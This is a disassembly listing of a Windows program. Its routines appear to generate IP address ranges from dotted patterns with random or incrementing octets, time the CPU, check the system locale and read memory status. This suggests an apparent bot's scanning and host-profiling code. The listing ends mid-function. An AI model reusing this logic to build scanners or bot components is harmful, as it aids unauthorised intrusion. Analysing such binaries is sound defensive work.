		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41EF18
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF18
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
